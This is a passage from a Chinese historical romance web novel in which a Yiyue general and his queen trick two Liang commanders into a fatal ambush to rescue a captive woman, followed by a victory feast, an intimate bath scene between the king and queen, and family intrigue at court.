一边的张忠见状言语调和道:“达鲁将军莫要误会,按我们梁人的规矩,大早上见血,不吉利,为着这个,将军捺一捺,等过了早晨,你的婢子还不是由着你责罚,没人能说什么。” 达鲁这才缓下面色,睨了一眼对面的女婢,喝道:“还不过来。” 那名叫阿念的女婢一激灵,不得已缓缓直起身,碎步到达鲁身边侍立。 刚立定,就听见达鲁戏谑道:“还不谢过二位将军?他们可是你的救命恩人,没有他二人,你这条命今儿就得交代在这里。” 婢女阿念忙向张忠、程放二人施礼谢过,他二人并不在意。 达鲁也不多待,随意吃了些,同他二人告了几句,带着门外的两名夷越副将离开了。 这一餐吃得动荡,好像自打达鲁来了后,没有一餐早饭是安静享用完的。 “张兄,这样下去怎么得了,他是故意的罢,啊?是故意的罢?!”程放说道,一拳头捶在桌上,震得桌面上的餐盘一抖。 张忠一笑,重新执起筷子,十分闲适地端起碗,从瓷碟中夹了一筷子碧绿油亮的小菜,放到玉粥里,就着喝了一口。 程放“哎呀”一声道:“我说张兄,你怎的一点也不恼,那蛮子回回来这么一次,我呀——”男人说着,拿手拍了拍自己的脸,“都觉着他在扇咱们的脸。” 张忠放下碗筷,拿方帕拭了拭嘴,又不紧不慢地端起一盏清茶漱口,这才缓缓说道:“一个女婢而已,也值得程兄费神?” “虽说不过一低等奴才,可问题是达鲁总拿她在咱们面前逞威,烦的不就是这个么。” 张忠笑着摇了摇头:“这不还是为一个婢子伤神?”音还未落,脸上尤带着笑,说道:“杀了不就得了。” 杀了?程放一怔,杀谁?转念明白过来,张忠的意思是杀了那个叫阿念的女婢,思及此,不免多看了一眼他这个搭档,平日行事说话看起来温文儒雅,从不见他发恼,然而共事这么些时,他清楚,张忠就是一个笑面虎。 当下不再言语。 …… 达鲁回了屋室,叫鱼九和老鬼在门外候着,然后关上房门,门一掩上,立时向江念单膝跪下:“刚才冒犯到贵人,可有烫伤?” 江念摆了摆手,低声道:“无事,没沾上身,达鲁将军起来说话。”江念走到桌边,给自己倒了一杯茶,喝了口润嗓,“达鲁将军,你来。” 达鲁走了过去,侍在身侧。 江念想了想,开口道:“时机差不多了,可以进到下一步。” 达鲁听说,浑身一震,急声道:“殿下的意思是……” “成败在此一举,演了这么多天的戏,为的就是这个,没必要再待下去了,若能成,便成,不能成的话……”江念看向对面的达鲁,郑重道,“达鲁将军,这个法子见效最快,却也有大风险,你可想好了?若成,阿枝当日便可救出,若不成……” 江念没往下说,达鲁却明白其意。 此计若能成,可以救出阿枝,若是不成,一切功亏一篑,今生他再难见到她,虽然梁妃言语缓和,在他面前尽量表现得轻松,可他看出来她也很紧张。 因为接下来的关键就要看她了…… 这日一早,灶房摆上饭食,张忠和程放坐在前厅,待所有菜馔上齐,也不见达鲁的人。 这倒是奇了,除开第一日,之后每日早饭他都会前来用早饭,怎么今日迟了,是起晚了还是被什么事情耽搁了? “来人。”张忠叫了一声。 从旁上前一仆从。 “去请达鲁将军来。” 奴仆应下去了。 “他不来便不来,张兄又何必遣人专跑一趟,叫我说,他不来更好,咱们这早饭吃得安静,那蛮子忒不讲礼。”程放哼声道。 “马上就要攻打下一个城池,这个时候不要再起风波,让人去叫一声,表面礼数到了,也好叫他替我等尽心办事。”张忠说道。 程放听罢,也就不说什么了,孰轻孰重心里还是知晓的。 那奴仆去了有一会儿,回到敞厅,向张忠回禀道:“回主子的话,那位将军大人说他早上就不来用饭了。” “不来?”张忠又问,“他是这么说的?” 奴仆回道:“不是,奴才没见到将军的人,房门闭着,将军大人在屋里,是屋外的看守,就是叫阿念的女奴说的,她说,将军大人在屋里同人议事,已交代过,早饭就不来前厅了,让二位大人不必等他。” “行了,你下去罢。” 奴仆躬行退下。 “张兄,你看看,你还特意让奴才去叫他,结果人家根本不领情,来都不来,这是嫌弃同咱们坐一张饭桌哩!”程放添柴加火地说道,他很是看不惯达鲁,若不是为着他手下的余部,还要利用他攻打东境其他城镇,这人,他绝计要宰的。 “罢了,既然他不来,咱们也不等,用饭。”张忠说道,旁边的丫鬟开始布菜。 吃了一小会儿,就见达鲁同他的两名副将从前厅门前大步流星走过,行色很是匆忙。 “达鲁将军这是要去哪里?”张忠将人叫住。 达鲁顿住脚,侧头看向张忠,眸光一闪,扯着嘴角不自然地笑了笑:“有事,出去一会儿。” 张忠点了点头,见他说罢后疾步离去,看了一会儿,收回眼,重新坐回桌边,继续用早饭。 过了一会儿,门前的奴仆走到张忠身边,低声道:“主子,那名叫阿念的女奴跪在门前,她说有要事报知您。” 张忠看了一眼程放,疑惑道:“阿念?达鲁身边的女奴?” “是。” “她一个奴才,能有什么要事。”张忠说道。 “不知,小的见她神色有些慌张,问了她,她也不说,非要见到二位将军才肯开口。” 张忠抿了抿唇,伸出筷子一面夹菜一面说:“叫她进来。” 正巧达鲁不在,一会儿借故把这女婢拉出去发卖,或叫人拖远些处理掉,达鲁日日借她梁人的身份指骂,他同程放不同,隐忍不发,面上虽一直客气,心里哪能不恼。 正想着,一个躬背缩肩的身影逆着光从大门走来,垂手躬身地走到桌前。 “你有要紧事情说?” 张忠问罢,女奴并没有立即回答,只是抬起头看了一眼,再次垂下头默然不语。 “问你话,怎么不说?!”张忠喝道,他在奴才面前可不用做出和善的样子。 那名叫阿念的女奴终于颤颤说道:“这位大人救过奴的命,奴心里感激,所以奴情愿卖主,也要报答这位大人。” 程放不甚在意,他也不是为着救一个奴才,就是见不惯达鲁。 不过听这女奴的话外音,像是真有事,程放同张忠互看了一眼,粗声说道:“好丫头,有什么事情你只管说来,以后你就跟着我,有我在绝不叫你主子打你、骂你。” 女奴稍稍直起身,只是那纤瘦的肩膀仍躬着,细着声气,说道:“今日一大早,奴见跟在大将军身边的鱼九急急进了将军屋子,落后那个叫老鬼的副将也进去了……” “婢子守在门前,隐隐听到他们说什么‘关着’‘暗中搜寻’‘终是找到了’婢子在将军府有几年了,知道大将军同那女人的事,亦知晓他一直暗中派人搜寻,当时想再听得更清楚,他们就从房里出来,离开了。” 张忠、程放一听,面色遽变,霍地站起,因动作太急,连带着桌上的餐盘都震了震。 “张兄,这可如何是好?!居然叫他把人找着了!不怕别的,就怕他带兵硬抢,咱们一时间无法从城外营帐调兵。” “他身边只有几名副将,手上没什么人,同咱们一样,余部皆在城外屯着,砂城卫没有通报,那么他城外的兵马就无异动,眼下最要紧的是叫上府中护卫,先把人擒下。”张忠一面说着,一面往外走。 两人当下再也顾不得,朝外大喝一声:“来人!” 府中众人只见两名大将带着几十名轻甲卫,很是慌张地奔涌出官廨…… 第164章 生死她都是梁人! 砂城北郊的一处不起眼的府宅。 这里大多住着一些商户,家中小富,从外看去,房子比普通百姓的阔大有样一些。 这一片区来往人不多,属民坊,住宅区,不同于街市,其中一间小院落前的屋檐下挂着两个画兽的灯笼。 乍一眼看去,与常无异,若是越过墙头,鸟瞰向院内,会发现大有乾坤。 院门外侧无一人,可里侧却一溜对立两排轻甲卫,这还不算,堂屋两边也守立了几名护卫。 这么些人挤在这方小院却安静得针落可闻。 “咚——”的一声,桌椅倒地的重响声传出屋子。 院中的梁军护卫见惯不怪,这屋里关着一个女人,上面一再交代,要把人看守住,有任何闪失,他们一个个小命难保。 所以,在他们看来,只要人不死就成,这女人关了这么些天,哪怕疯了也同他们无关。 屋内门窗紧闭,光线暗淡,地上躺着一个人,是个披头散发的女人,女人手脚捆绑,桌椅在她身边横七竖八地倒着。 阿枝已记不清自己被劫来了多少时日,门扇永远是锁着,只有送饭时会打开,一天只开一次,送来的餐盘全是木制,第二日送餐时再收走。 她的吃喝拉撒全在这间昏暗的小屋内。 先时,她以为碰到了拐子,后来才发现不是,仆从送饭时,她瞥见了守在门外的梁兵。 前后一想,明白了,这是拿她做筹码,可他们想错了,她随在达鲁身边这些年,她对他有意,他对她却无情。 这些人一定是听信了外面风传的谣言,误以为她是达鲁的女人,拿她要挟他。 这些梁人可真蠢,比她还蠢,他怎么会来救呢?他是声威赫赫的大将军,她不过是个姿色平平的寡妇。 这些年,她见他一直不曾立妻室,便存了一分妄想,多少有些自欺欺人。 女人轻笑一声,将身体蜷起,昏暗中慢慢闭上眼,任地上的凉意浸入肌骨。 正在她沉入幽暗之时,院门“啪,啪——”地被大力拍响。 院门后的护卫问道:“谁?” 门外先是一静,接着有人说道:“速速开门,二位大人来了。” 护卫听那声音,忙打开院门。 门一开,张忠、程放二人抢步进到院内,连声问:“人呢?” 守卫回道:“末将一直看着,那女人就在屋子里。” 话音刚落,二人往屋室去的脚步骤然顿住。 “刚才有什么人来?”张忠、程放二人问道。 守卫摇了摇头:“不曾有任何人来,只有二位将军。” 张忠脸色煞变,大喝一声,不好!上当了!然而已经晚了。 身后震动如雷,张忠、程放的脖子像生了锈一般,缓缓回首,院门“轰——”的一声闭上。 这方不起眼的院落,涌进一彪夷越兵将,把不大不小的院子填塞的满满当当。 双方中间空出一条道,将院中众人分成两拨。 梁军一方为首的是张忠、程放,对面的夷越将领自然是达鲁,达鲁身边还有一人,身形也是高大威武,一身气势丝毫不逊达鲁,张忠和程放未见过此人,不知是何身份。 “达鲁,你使得好计策。”张忠讥讽道。 达鲁冷笑一声:“这不是同你们梁人学的么,不敢正面较量,惯会这些上不得台面的小伎俩。” 达鲁说罢,侧头看向身边之人,说道:“阿多图大人,多谢你借我亲卫。” 阿多图扬了扬下巴,回道:“好说。” 张忠眯了眯眼,说道:“所以从一开始,你同那个女奴就是在演戏?” “不错,不演怎么让你们上当。”阿多图说道。 张忠苦笑一声,笑声中含着不甘:“当真是好计谋,想不到我张忠居然败在一个低贱的女奴身上。” 到这个时候,达鲁也不在乎这点时间,也不怕让他们知晓,因为这些人的命,会终在此处,他们走不出这个院落。 “你口中的女奴是我夷越王妃。” 张忠、程放二人不相信,反驳道:“你把我们当傻子不成?王妃?亏你说得出口,那女奴分明是梁人,你们大王娶一梁女为妃?” 这时一边的阿多图笑了一声:“怎的,你们连这个都不知道?我们大王娶的可是你们梁国江家的女郎。” 张忠浑身细毛立起,从未像现下这般,脑子不够用,抢声问道:“江家,哪个江家?” “还能哪个江家,你们京都还有哪个叫得上名号的江家?” “不可能,不可能……绝无可能!” 张忠嘴里喃喃着。 江家,京都叫得上名号的江家只有一个,江太傅家,江老大人曾是太子亲师。 然而江老大人逝后,端方有为的太子被废黜,精于谋划的二皇子被边缘,最后由老实无为的三皇子继承皇位。 这是谁也没料到的。 江家自此日渐颓败,落后被新帝判下大罪,抄家,男人斩于市,女子……唉!江家主母当场一条白绫自戕了。 那江家女郎他们亦有耳闻,姣姣如明珠般的人儿,听说后来发配邕南充军妓。 京都高门贵女,他们也只是耳闻,未曾见过。 这会儿却告诉他们夷越王妃是江家女郎?!张忠回想那女子的模样,居然想不起来,只因那女人面部有红痕,不屑多看。 这般说来,夷越王妃在此,那岂不是越王也在砂城! 张忠突然悲凉地笑一声,越王亲临东境,不异于“天子守国门”,而他们的皇帝却高坐云端,一味听信奸人谗言,也不知听了谁的风,叫他们孤军进犯夷越东境。 他们兵微将寡,想要以少敌多,难!同夷越悍军对抗,更是难上加难! 若非人马不济,他也不会使手段劫持一女人要挟达鲁,这么做为得什么?不过为了添几分胜机,使大梁重振上国之威。 面对如此强横的夷越,梁室殆哉! 院外行人来往,院内却又是另一番天地,刀刃嗜血,谁能想到,一个普通的不能再普通的小院成了两国的战场。 狭窄的小院将生死的惨烈和悲壮浓缩,鲜红滚热的血渗入黄泥地,将地面染成黑红一片,到后来,那地面就跟饮饱了人血似的,打了一个响嗝,反出浓浓的腥气,在这院中弥久不散。 张忠一手持刀,长刀插入地面,吃力地撑直身体,端坐于阶矶之上,在他的不远处是气绝倒地的程放。 院中的梁军死了大半,而对方只折损了小半,败了,他们彻底败了。 男人眼眶血红一片,心底恨恨不甘,突然抬起头,说道:“你们王妃呢?我要见一见她。” 阿多图抢先嗤笑道:“你一败军之将,有什么资格见我们王妃,王妃怎会踏足这血污之地。” 张忠点点头,拿胳膊狠狠往嘴角一擦,拭掉血沫,冷笑道:“替我转告一句话给她。” 达鲁和阿多图对看一眼,并不接话。 张忠不用他二人回应,径直往下说:“无论她是什么身份,王妃也好,太后也罢,生死她都是梁人!永远改变不了!江家,好个江家女郎,女郎叛国……” 男人说着,大笑起来,对着院外叫了一声:“江家女郎,你可有脸下去见你祖父?!你江家驷马高门,江老大人德高望重,怎的教出你这奸作?” “闭嘴!”达鲁吼声道,两眼气瞪,他绝不许人辱王妃。 张忠只是埋头呵笑,他自知将死,根本不怕,又高声道了一句:“江家女郎,你不悔么?总有你悔的一日……” 男人抽刀,反手一转,对着脖子抹了上去,话音仍荡在空中,人已死。 江念坐在转角的马车里,昏暗的车内,她将那些话听得清清楚楚,敛下眉目,京都江家?呵!哪还有什么江家,江家早就没了,可她的恨还在。 她在那一日失去了所有,不悔! 再之后,东境的砂城、佩城收复,几乎没起战火,梁军直接归降夷越,不仅没费一兵一卒,还得了梁军余部。 达鲁救出了阿枝,留了守军驻砂城,然后众人从砂城回了佩城。 …… 是夜,将军府灯火煌煌,下人们脸上扬着喜气,手上端着托盘,从宽大的宴客厅进进出出。 明晃晃的会客厅传出歌舞曲乐,灯火烛,壁上影。 府中大摆筵宴,厅下一溜两排坐着军中将领,案上摆着各色羊肉、牛肉,还有鸡、鸭等美馔,又有美婢在旁手捧醇酿。 众副将又是欣喜又是紧张,只因他们的君王就坐在上首,同他们在一间厅堂内。 这放在平时简直想都不敢想,做梦一样,连梦也不敢这样大胆。 大厅上首坐着的年轻男子,美姿容,身形高健,一身英武之气,眉目之间隐现山河峥嵘,而他身边的女子,富丽闲妆,貌比幽花俏丽。 他们不敢多看,知道那位就是梁妃了,而且他们听鱼九说了,这次多亏了王妃,大将军才得以不受梁军牵制。 呼延吉端坐上首正中,一侧坐着大将达鲁,另一侧坐着崔致远,崔致远旁坐着朵阿赤。 厅中声弦管乐,花团锦簇。 但众人并不敢放开了吃,一个个本不是讲礼之人,这会儿俱斯文起来,也不敢谈笑了,也不敢攀酒了。 众人心里虽激兴,却不敢表露,生怕在大王面前留下不好的印象,况且还有王妃在场,也怕她觉着夷越军兵粗鲁。 呼延吉此次是来收拢人心的,赏一劝百,叫那些观望风色的军将们知道,他有千金市骨的心,只要他们肯效忠王权,他可以不计前嫌。 华庭之上,吹弹歌舞,丝竹盈耳,推杯换盏间,众副将心里欢喜,同君王共宴,够他们吹嘘一辈子,以为这就很欢乐了,殊不知后面还有更美的事等着他们…… 第165章 一会儿就好 众将位坐于华庭内,心里自然是无比的欢喜,可又不敢敞开了欢喜,得憋着,假作斯文样儿。 是以,厅上歌舞倒是不断,却没什么人声,显现别样的寂然。 呼延吉看了一眼达鲁,笑说道:“达鲁将军,你这就要不得,平日里定把各位将军规束得严苛,叫他们老实成这样?” 达鲁一噎,不知该说什么,在君王面前,其实他也有些局促,他的手下自然和他一样,毕竟他们谁也不曾料到,有一日能同君王同席宴酒。 达鲁清了清嗓子,站起身,先向呼延吉躬身,然后转头看向堂下,肃声道:“众位将军可有听到王令?放开些,该吃吃,该喝喝,莫要太过拘谨。” 江念在旁边听了,差点没呛住,这达鲁看起来面貌粗狂,怎的内里是这么个样儿?忒老成了,说是莫要拘谨,这下众人只怕更拘谨了。 而另一侧的崔致远亦是无奈地笑了笑,达鲁此人白瞎了一张粗野不羁的样貌,实是个刻板之人,再直白一点,就是认死理。 明明是劝酒来着,还搬出了王令,简直叫人更不自在。 二人心里想着,眼梢往呼延吉那边斜去,果然,呼延吉的嘴角有些抽抽。 其实呼延吉本人脾性潇洒,一句话就能把气氛挑起来,可这会儿碍着君王的身份,说出来的话需得度量,不是想说什么就说什么,于是略一思忖,先叫达鲁坐下。 “达鲁将军,我听崔监军说他向众将军承诺,等战事一平,请他们去京都做客?”呼延吉问道。 此话一出,堂下众将脸上有了不一样的神采,僵硬的气氛开始松动,相互之前嬉笑着挤眉弄眼。 达鲁忙站起,脑子里突然闪过那日众人议论梁妃的话,生怕手下们被降罪,说道:“回禀大王,那日是酒后的顽话,是监军的好意,只是……” 崔致远一抚额,摇了摇头,再让达鲁开口,今晚这酒还不知能不能喝尽兴,再加上大王年岁轻,他好不容易抛出话来,结果你达鲁句句给他堵死,不叫他心里有想法? 遂赶紧起身,侧身向上首,笑道:“学生不过提了一句,大王就放在心上记下了,之前学生还在将军们面前夸口,向大王请奏,邀将军们去京都,王这会儿居然先提出来,可见大王心中一直记挂此事,也一直记挂着众位将军。” 崔致远这话既在众将面前抬了呼延吉的面子,又让在场之人知道君王心里有他们,哪能不欣喜。 众人听说如此,喜得手脚无处放。 呼延吉向下举杯,众人忙满上杯中酒,起身迎向上首。 “我夷越有此太平清宁离不开众将军的功劳,今后各位在达鲁将军的带领下,同守夷越东境,永保东境安宁。” 呼延吉说罢,仰头饮下杯中酒,堂中众人俱饮下杯中酒。 众人重新入座。 “崔监军,待到京都,众位将军们赴往京都的一应事宜由你安排,你可是亲口承诺,待将军们到了京都,酒肉管够。”呼延吉笑说道。 崔致远赶紧应下,然后瞥了一眼他旁边的朵阿赤,低声道:“哎——也不知是谁,之前笑我不自量力,如今怎么样,又领了一份差使。” “你这酸书生……”朵阿赤咬牙道,“不是我帮你送信,你早死在牢里了,轮得到你得意么!” 堂中所有人都兴致盎然,只有他独喝闷酒,身为朵家子的他,本该是骄傲无比,这会儿坐在这里觉着烫屁股,当然了,脸比屁股更烫。 “嘿——”崔致远举起酒杯,对着朵阿赤说道:“这次有你一份功,待回京都我会向大王说明。” 朵阿赤冷冷嗤笑一声,心道,我需要你替我在大王面前好言?我自己没长嘴? 摇了摇头,自己也忍不住笑了,他从小到大,没经历过这么大的起伏,先是被人算计塞到红木箱中,又被囚禁,好不容易得了自由,走到街上,却发现城池即将失守。 之后死对头托付他将书信带到临城寄出,再后来,佩城失守,他没有亲眼看见那场战火,等他从临城回到佩城,这座城池已然受到重创,看着厚重城墙上的焦黑,可以想象当时有多惨烈。 他就那么守在佩城,扒着指头算日子,等着君王驾临,这一切太不真实。 有什么变得不一样了,个人的利益得失在战火中显得那么可笑且微不足道。 筵宴散后,众副将跪拜后辞去,呼延吉携江念回了房。 府中下人整好床铺,熏好床帐,又在沐间备了热水。 丫鬟走到江念身边,恭声道:“贵人,热水备好了。” 江念转头看了一眼屋室,这才发现呼延吉不在,走到门首下,见他正在院中,身边立着崔致远和达鲁,不知他同他们低声交代着何事。 崔致远和达鲁因面朝她的方向,见她立在门下,忙后退一步,垂首施了一礼。 “行了,你们先去罢。”呼延吉说道。 崔致远和达鲁应诺退下。 他走到她的跟前,只见男人两颊酡红,额前垂下一缕微鬈的发,睛眸熠着辉光,看得出来他心情很好。 喝了酒的原因,身上有很浓的酒息。 “回屋罢。”呼延吉嘴角带笑地说道。 两人进屋后,呼延吉见热水已备好,叫她先去沐身,江念摇了摇头:“我坐会儿,你先。” 呼延吉看了她一眼,点了点头,进到沐间,丫鬟们一个个儿都有些红脸,她们知道这两位是极贵之人。 那位贵女当然是美的,像从月亮上掉下来的人。 而这位贵人更抓心神,女人看男人,特别是这般英姿矫健的男子,总叫她们生出一些不切实际的错觉,然后开始脸红,开始心跳加速。 她们随他进到沐间,想要近身伺候,谁知被一个不留地打发了出来,只让她们把衣物整理好。 呼延吉沐洗很快,头身洗干净就成,一点也不捱捱蹭蹭。 他进沐间时,就见江念坐在圆桌边,手里握着一杯清茶,出来时,她仍坐在那里,姿势都没怎么变。 “怎么发起怔来?”呼延吉有些担忧地看着她。 江念笑了笑,说道:“无事,就是有些累,用热水泡一泡消消乏兴许会好些。” 下人们又重新上热水,然后簇着江念进了沐间,沐间水雾氤氲,在丫鬟们的服侍下,褪去衣裳,入到浴桶里,桶里的水荡出来一些。 江念整个人浸入水中,趴伏在桶沿,由丫鬟们给她揉洗长发,好一会儿,水温渐凉,丫鬟们询问是否起身。 江念抬起臂膀,凑近,耸鼻闻了闻,不知是不是她的错觉,身上一直有血气萦绕不散。 江念看了一眼褪下的衣衫,说道:“这些衣服拿出去丢了。” 立时有丫鬟应下,将那些衣裳抱起,出了沐间。 呼延吉靠坐于床头,见江念进去半晌,仍不见好,不一会儿又有丫鬟进进出出,来回拎热水。 她这是准备在沐间待一宿不出来? 江念伏在桶沿,闭着眼,桶里的水被舀起一些,又添了新水,水温重新变热。 进出的丫鬟们的脚步声慢慢静下来。 “替我将湿发用簪子绾起来。”江念将头枕在手臂上,闭着眼,懒懒地说道。 披下来的发丝被拢在一处,簪于脑后,背上瞬间清凉了,接着一个力道落在她的肩头,缓缓揉压。 江念感觉不对,沐室安静太过,而且肩上的力道……遂两眼一睁,最先触目的是地面的人影。 一回首,就见呼延吉立在她的侧后方,手搭在她的肩颈处,摁压着。 “你要洗到几时,我不得不来亲自请你。”呼延吉戏谑道。 江念脸上一红,嘟囔道:“你这人忒烦了,我洗个澡你也催促?” 呼延吉自然听见了,将她的身子转了过来,对着自己,眼睛不由得往下压了压。 潋潋的水光下,是一对曲线明显的隆起,很是可观。 除了江念,呼延吉手上虽未过过其他女人,可也知这娇姿实属难得。 虽说,每回情事上,她都推推就就不太舒展的样子,可他能感受到掌下曲线的明显,叫他的心跟着那曲线一道起伏澎湃。 “捂着做什么,你身上我哪处没见过?” 江念忙背过身,嗔了一声:“大王出去罢,妾身一会儿就好了。” 呼延吉非但没动,反而勾唇一笑。 这坏坏的一笑,江念就知道他又要乱来,侧目中见他抬手准备宽衣,于是赶紧制止:“别宽衣,我马上就好了,一会儿就好……” 呼延吉“嗯”了一声,点头说道:“那便不宽衣。” 江念刚想吁出一口气,突然一声“哗啦——”,身后贴上来温热的身体。 他在她耳边低语:“阿姐,我听你的,没有宽衣。” 那雾热的水面漂着男人月白的绢衣,绢衣在水里随水波如墨一般散开,他的身体比水温还要滚热,刚毅的身躯贴着她的后背。 一双劲实的臂膀,拉出隐隐的肌线,拢着她的腰身。 沐屋只烧着一盏细烛,外间的余光透过屏风,过了一层轻纱,柔和了不少。 江念哪受得住呼延吉的挑逗,一时间又羞又怯。 江念双眼热出泪星,感觉到他手指的企图,惊呼一声:“吉儿,别……”可到底是说晚了,还是叫他得了逞,只听他在她的身后压着声儿,说道:“阿姐,放松些……” 第166章 是不是弄疼了? 江念挣脱不得,整个人都被他圈锢在怀。 呼延吉见她肌下透粉,将她翻转让她对着自己,俯身到她耳边,说道:“撑好桶沿。” 这浴桶很是宽大,容他们二人绰绰有余,且桶壁上有一隔板,本是用来放置皂块和一些沐洗用品的。 他将她抱坐在那块隔板上。 她还没反应过来,他已将她的两只胳膊从水里捞起,搁在桶沿之上,江念没有防备,身体在他面前展露出来。 烛光昏昏,壁影几交横,水声旖旎。 他全身肌肉绷紧,有些逞意,似是男人虚荣的小心思作祟,然而当他睨下眼,却见她咬着唇,眼里滚下泪来。 呼延吉心里一紧,将她放下,连声问道:“是不是弄疼了?” 江念推开他,侧过身不去看他:“你出去。” “阿姐,我……”呼延吉料想刚才自己过了,惹恼了她,从后轻哄道:“那不弄了,我抱你出去,好不好?” 江念没出声,呼延吉便从水里起身,从旁拿起一条大巾,将她打横抱起,裹在大巾中,出了沐间,放于床榻上,又将她换洗的干净衣裳递给她。 江念掩在帐中穿好寝衣,呼延吉才入帐。 两人躺下,江念从始至终都背对着他,呼延吉清了清嗓子,从后轻唤了一声:“阿姐……” 却见江念像是睡着了一般,仍是背着身,不见任何动静。 呼延吉往她身侧挪了挪,一条胳膊试探性地环在她的腰间,手覆在她的小腹上,见她没挣开,暗暗松下一口气。 “真恼了?”呼延吉轻声问道。 身前的女人仍是没有回音,呼延吉将头放在她的肩上,继续道:“阿姐,我错了,你别不说话。” 江念今晚本就不在状态,脑子里不时闪过张忠说的那些话,鼻息下是若有若无的血腥气。 “吉儿,是我不好,总不能叫你尽兴。” 呼延吉听她鼻音有些重,说道:“没有不尽兴,只要同你在一起,什么都不做,我也欢喜。” 江念这才转过身,望着他的脸,那双好看的眼底,有些无措和担忧,她抚上他的眼皮,说道:“白天发生那些事,我心里有些不好,说不出来是什么感受。” 呼延吉见她愿意向自己吐露心声,这才完全放心下来:“睡罢,过几日就好了。” 幽禁阿枝的屋子位于民坊,不在巷子里,临着大路。 他们的马车就停在院外不远处,江念坐于马车里,张忠的话一字不差地落入她的耳中。 呼延吉拉上衾被给她盖住,在她背上拍了拍:“我们明日就回王庭,不在这里多待,离开就不想了。” 江念“嗯”了一声。 他拥着她,渐渐睡去。 次日,达鲁带着手下部将,将呼延吉一行人送到城外,直到车马远去,仍久久不离去。 …… 朵阿赤回了朵家,将东境的情况对他父亲大概说明,朵尔罕先是静着不出声,过了一会儿,毫无防备地将手边的茶盏挥落在地,砸了个粉碎,茶水泼了一地。 这还不够,又将手边的案几一把掀翻。 全落空了!不仅计划落了空,还失了东境一员大将,有达鲁作引子,他门下的另几名军将多半不会再听调令。 能归属君王,君王还不计前嫌,这会儿只怕一个个都在想着怎样表诚。 朵阿赤看了他父亲一眼,嗫嚅着嘴唇想说什么。 “有话说?”朵尔罕沉声道。 “儿子认为这次幸好击杀了梁军首领,且降伏梁军余部,否则梁军利用达鲁侵食我整个东境,届时我朵家如何面对夷越百姓……” “啪——”的一声,朵阿赤话音刚落,脸上挨了重重一记耳刮。 “如何面对百姓?”朵尔罕冷声道,“那是呼延吉该考虑的事,这样好的契机,眼看就要事成,你却糊涂去送什么书信,我朵尔罕怎么生出你这么个蠢货!” “达鲁为我朵家部将,他投靠了梁军,对我朵家的声誉也有影响,难说大王不会怪罪。” 朵尔罕气骂道:“养兵千日,用在一朝,达鲁通款敌国,呼延吉若要追究,推他出来当替罪羔羊便是,这些部众平素受我朵家恩养,危急时刻不正该派上用场?”说罢一甩袖,又道,“再者,本就是达鲁自己投敌,关我朵家何事,随口一句话就能推脱,呼延吉怪不到我朵家。” 朵阿赤垂下头,一声儿不言语。 朵尔罕一摆手,心烦之下也不想看见这个儿子。 朵阿赤便退了出去,才一出院门,下人通传,说大王宣召他入王庭觐见。 朵阿赤有些不确定,大王宣召他入王庭?不是宣召他父亲? “大宫监,是不是弄错了?” 丹增笑道:“小朵大人,老奴还没老到念错名儿的地步,走罢,别让大王久等。” 朵阿赤随丹增进入王庭,到了议政殿前,丹增先向里通报,然后出来:“小朵大人,可以进去了。” 朵阿赤颔首,道了谢,理了理衣襟,步入殿中,撩开衣摆行跪礼。 “臣伏乞大王圣安。” 呼延吉声音没有太大起伏:“起身罢。” 朵阿赤起身。 “坐。”呼延吉从御案后走出,坐在殿中靠窗的一排交椅前,拿下巴指了指对面。 朵阿赤依言坐下。 “这次东境守城有你一份功,没你助崔致远送书信,东境之危情解决不了这么迅速。”呼延吉看了朵阿赤一眼,端起手边的茶盏送到嘴边,说道,“想要什么赏赐,说罢。” 朵阿赤忙道:“臣惶恐,为人臣者,君忧臣劳,今赖大王天威,将士用命换东境安宁,臣当不得大王赏赐。” “有功就要赏,你只管说来。” 朵阿赤确实无需任何赏赐,他也不知讨要什么赏赐,可大王将他召来,再三垂问,不好推却,想了想,只好说道:“微臣恳请将此功暂记档册,异日或有寸需,再行奏请。” 呼延吉心道,这朵家人一个个儿怎么都是这副德行,上次朵妲儿也要他应一个请求,这会儿朵阿赤也如此这般。 不过既然是他提起的赏赐,应下也无妨,朵阿赤若敢得寸进尺提出非分要求,他也有办法治他。 “好,应下了。”呼延吉说道,“无事的话,退下罢。” 朵阿赤起身,行过礼,出了议政殿。 …… 东境战事平息,朵妲儿也得到消息,知道自己的大妃之位落了空,虽然心有不甘,却也无可奈何。 她透过镂空隔断,看了眼静静倚在窗栏边的朵氏,心头无名之火骤起,凭什么,让这么一个无用无能之人待在东殿,最后走的却是她? 朵氏似是注意到外间的视线,转过头同朵妲儿对上,然后轻蔑一笑,然而就是这一笑,刺激了朵妲儿。 正在此时,宫婢们上前,恭声道:“妲姑,行装已理好,可以出王庭了。” 朵妲儿只当没听到的,根本不理睬,缓缓向里走去,绕过隔断,走到朵氏身边。 “阿姐这是看小妹笑话呢。” 朵氏收回看向窗外的眼,移到朵妲儿身上,停了一会儿,说道:“是。” 朵妲儿想不到她一点也不遮掩,也对,朵梵儿窝囊过了半辈子,好不容易沾了江念的光,有幸见她落败,怎能不扬眉吐气一回,把之前受的气还回来。 朵妲儿上上下下打量朵氏,一面啧声,一面摇头:“我再怎么样,也轮不到你看笑话,就算我出了王庭,也比你过得好。” 说罢发出一声轻泠泠的笑。 “看看你,还有什么?最好的结果就是在王庭孤老而死。”朵妲儿说着,指向自己,“出了王庭,父亲会替我从上姓中另择良婿,朵梵儿,你到死也及不上我半分,说起来,这事呢,也怨我母亲,太心善,当年药放少了,那个时候就该放足些,免得你来这世上遭罪,是也不是?” 女人尤嫌不够,继续道:“一想到你以后为了在王庭过活,还要跑到梁女跟前卖巧讨欢,摇尾乞怜,啧——我都替你可悲。” 朵氏突然扬唇一笑,声音却很平很冷:“不会。” “什么不会?” “你说父亲会替你从五上姓寻得良婿,我说不会。”朵氏说道。 朵妲儿还以为她会说什么,掩嘴吃吃笑起来:“朵家同呼延氏不能缔结姻盟,父亲自然会想办法同其他上姓联姻,阿姐,你自欺欺人也得有个度,我虽然没得到大妃之位,却也什么都没失去,无非就是在王庭耗费了些时日,日后我有夫君疼爱,有体面尊贵的身份,是上姓主母,而你……一个在王庭守活寡的可怜女人,啧啧——” 朵氏亦跟着笑起来,先是低低的在喉咙里咕哝,然后从嘴里迸出,含着血一般:“我说不会就不会,你不会再嫁,更不会有尊贵的身份,还有……你说‘你虽没得到大妃之位,却也什么都没失去’这句最为可笑。” 朵氏笑出声,朵妲儿却笑不起来,沉着脸问道:“你这话是什么意思?” 朵氏抚上朵妲儿的脸,轻声呢喃:“你向来聪慧,猜猜看,不过你一定猜不到……” 第167章 最后的欢动 朵妲儿仍是惯用伎俩,故意挑起朵氏的怒火,让其失态,她再冷眼旁观,如同看一个疯子。 